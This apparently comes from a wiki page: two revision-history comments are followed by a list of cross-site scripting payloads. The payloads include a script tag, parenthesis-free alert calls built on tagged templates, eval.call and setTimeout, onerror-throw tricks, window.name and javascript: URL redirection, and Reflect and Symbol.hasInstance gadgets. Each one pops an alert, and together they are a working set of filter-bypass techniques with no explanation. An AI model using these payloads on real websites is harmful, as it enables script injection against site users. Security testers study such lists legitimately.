Richard Mueller edited Revision 3. Comment: Removed (en-US) from title, fixed grammar
Ed Price - MSFT edited Revision 2. Comment: Made the link active.
<script>alert("attacker")</script>
alert`23`
window.name="javascript:alert(23)";
location="xss.html";
location=name
eval.call`${'alert\x2823\x29'}`
eval.apply`${[`alert\x2823\x29`]}`
setTimeout`alert\x2823\x29`
setInterval`alert\x2823\x29`
onerror=alert;throw 23;
window.name='javascript:alert\x2823\x29';
Reflect.set.call`${location}${'href'}${name}`
Reflect.apply.call`${alert}${undefined}${[23]}`
navigation.navigate`javascript:alert\x2823\x29`
var{haha:onerror=alert}=0;throw 1
var{a:onerror}={a:alert};throw 1
'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval}
<i>hello world</i>